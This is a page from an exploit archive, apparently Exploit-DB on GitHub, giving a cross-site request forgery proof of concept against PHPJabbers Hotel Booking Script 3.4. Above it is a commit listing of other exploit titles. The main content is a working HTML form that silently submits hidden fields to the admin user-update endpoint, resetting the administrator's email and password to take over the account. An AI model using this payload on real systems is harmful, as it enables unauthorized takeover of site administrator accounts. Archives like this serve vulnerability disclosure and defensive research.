aedf107ce9
12 changes to exploits/shellcodes MiniShare Server 1.3.2 - Remote Denial of Service MiniShare 1.3.2 - Remote Denial of Service MiniShare 1.5.5 - Local Buffer Overflow (SEH) MiniShare 1.5.5 - 'users.txt' Local Buffer Overflow (SEH) Linux Kernel 4.4 - 'rtnetlink' Stack Memory Disclosure PassFab RAR 9.3.2 - Buffer Overflow (SEH) LanSpy 2.0.1.159 - Local Buffer Overflow PDF Explorer 1.5.66.2 - Buffer Overflow (SEH) MiniShare HTTP 1.5.5 - Remote Buffer Overflow MiniShare 1.5.5 - Remote Buffer Overflow MiniShare 1.4.1 - Remote Buffer Overflow HEAD and POST Method MiniShare 1.4.1 - 'HEAD/POST' Remote Buffer Overflow Hotel Booking Script 3.4 - Cross-Site Request Forgery (Change Admin Password) Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit) Integria IMS 5.0.83 - 'search_string' Cross-Site Scripting Integria IMS 5.0.83 - Cross-Site Request Forgery Bolt CMS < 3.6.2 - Cross-Site Scripting Yeswiki Cercopitheque - 'id' SQL Injection IBM Operational Decision Manager 8.x - XML External Entity Injection Linux/x64 - Disable ASLR Security Shellcode (93 Bytes)
45 lines
No EOL
1.9 KiB
HTML
45 lines
No EOL
1.9 KiB
HTML
# Exploit Title: Admin Account take over Via CSRF
|
|
# Google Dork: N/A
|
|
# Date: 17-12-2018
|
|
# Exploit Author: Sainadh Jamalpur
|
|
# Vendor Homepage: https://www.phpjabbers.com/hotel-booking-system/
|
|
# Software Link: https://demo.phpjabbers.com/1545033057_422/index.php?controller=pjAdmin&action=pjActionIndex
|
|
# Version: 3.4
|
|
# Tested on: Windows x64/ Kali linux x64
|
|
# CVE : N/A
|
|
|
|
************************Description:**********************
|
|
|
|
The online hotel reservation system is built in PHP and uses MySQL to
|
|
store data. The script provides a powerful room booking and reservation
|
|
management functionality and allows you to install a clear
|
|
call-to-action tool on your hotel website which will impact conversions
|
|
and increase bookings. Our room booking system is highly customizable
|
|
and compatible with various website types.
|
|
|
|
*************************Vulnerability Description:****************
|
|
An attacker can take the admin account via sending the Malicious link
|
|
to the authenticated user then the Victim clicks on the malicious link
|
|
then the admin password is change
|
|
|
|
************************************
|
|
PoC**************************************
|
|
|
|
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="https://site.com/admin/index.php?controller=pjAdminUsers&action=pjActionUpdate"
|
|
method="POST">
|
|
<input type="hidden" name="user_update" value="1" />
|
|
<input type="hidden" name="id" value="1" />
|
|
<input type="hidden" name="role_id" value="1" />
|
|
<input type="hidden" name="email" value="admin@admin.com" />
|
|
<input type="hidden" name="password" value="pass1234" />
|
|
<input type="hidden" name="name" value="Administrator" />
|
|
<input type="hidden" name="phone" value="" />
|
|
<input type="hidden" name="status" value="T" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |